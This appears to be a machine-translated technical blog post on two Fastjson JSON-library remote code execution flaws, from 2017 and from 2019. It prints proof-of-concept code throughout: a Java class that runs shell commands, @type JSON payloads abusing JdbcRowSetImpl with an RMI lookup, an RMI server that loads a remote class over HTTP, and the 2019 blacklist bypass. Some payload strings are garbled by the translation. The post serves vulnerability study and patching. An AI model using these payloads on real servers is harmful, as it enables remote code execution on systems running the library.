background

Fastjson claims to do the best JSON parsing library, but the first half of the year has received two security vulnerabilities warning, very embarrassed, so fastJSON vulnerabilities to do a simple study. This article will analyze remote execution vulnerabilities in 2017 and 0Day vulnerabilities in the first half of 2019.

Noun explanation:

0day: 0day in the sense of information security refers to the vulnerability information that is known or made public before the system vendor knows and releases the relevant patch. Poc :Proof ofConcept. This phrase is used in a vulnerability report, where a POC is a description or an example of an attack that allows the reader to confirm that the vulnerability is real.


I. Remote execution vulnerability in 2017

Official link. The ’17 vulnerability is relatively simple and relies on the @type feature to easily attack the server. I’ll show you the POC code, take a look at the execution, and finally summarize the process and the solution at the time.

Poc code
public class Exploit implements ObjectFactory { public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<? ,? > environment) { exec("open /Applications/Calculator.app"); return null; } public static void exec(String cmd) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { } } }Copy the code
import com.alibaba.fastjson.JSON; public class Demo { public static void main(String[] args) throws Exception { String payload = "{\" @ type \ ": \" com. Sun. Rowset. JdbcRowSetImpl \ "and \" dataSourceName \ ": \" rmi: / / 127.0.0.1:1099 / exploits \ ", "+ "\"autoCommit\":true}"; JSON.parse(payload); }}Copy the code
Attack process
1. Load the JDBC class and set RMI

The class is loaded back when it resolves to @type

JdbcRowSetImpl sets the dataSource name. The setDataSource method is called by default

Load the static methods of the class

2. Call remote methods through RMI

Rmi: RmI relies on the Java Remote Message Protocol (JRMP), which is customized for Java and requires both the server and client to be written for Java.

public class Server { public static void start() throws AlreadyBoundException, RemoteException, NamingException {/ / set the rmi port Registry Registry. = LocateRegistry createRegistry (1099); Reference Reference = new Reference("Exploit", "Exploit","http://127.0.0.1:8001/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); / / binding registry. Bind (" exploits, "referenceWrapper); } public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { start(); }}Copy the code

One of the core features of RMI is dynamic class loading. If a class is not defined in the current JVM, it can download the class from a remote URL. Dynamically loaded object class files can be hosted using Web services. This allows for dynamic extension of remote application functionality. Multiple RMI applications can be dynamically loaded and bound to the RMI registry. For the client, the return value from the server may also be object instances of subclasses for which the client does not have class files. The ability to dynamically load additional classes at runtime is also required if the client is required to properly call overridden methods in these subclasses. The client uses the same mechanism as the RMI registry. The RMI server passes the URL to the client, which downloads the classes through an HTTP request.

-> JdbcRowSetImpl.setAutoCommit -> JdbcRowSetImpl.connect() -> InitialContext.lookup(dataSource)

The serialized class is downloaded from the attacker server and initialized during the lookup. At this point the static method is executed to complete the attack.

3. Fastjson solution

git-diff

Added type checksum blacklist, @type direct initialization failed, single attack can be defended. But there was still a problem with that, so the 0day bug came out in ’19

2. Remote execution vulnerability in 2019

Hole link

Poc code
import com.alibaba.fastjson.JSON; public class Demo { public static void main(String[] args) throws Exception { String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.J DataSourceName dbcRowSetImpl \ ", \ "\", \ "the rmi: / / 127.0.0.1:1099 / exploits \", \ "the autoCommit \" : true}} "; JSON.parse(payload); }}Copy the code

Other codes are consistent with year 17.

Attack process

Obviously, to initialize the type, you need to bypass the blacklist detection. How can you bypass this?

1. @type bypasses the process

Because java.lang.String is a whitelist class, so checkAutoType checks through and then goes to this point

When a string is identified, its val is loaded, and the class does the load

The following xxkey can be obtained directly from the mapping when loading, so the following is bypassed.

It’s no different than the ’17 bug

2. Solutions

Not in the cache type, try the original secondary load invalidation. [official diff]

Third, summary

Both exploit the @type feature and find ways around detection. Security use to often update the version, pay attention to the official website vulnerability notice. In addition to this, there are many other attacks, but this is just one of them, because it is widely used.

Reference data

  • fastjson
  • In-depth understanding of JNDI injection and Java deserialization exploits
  • fastjson-rce-exploit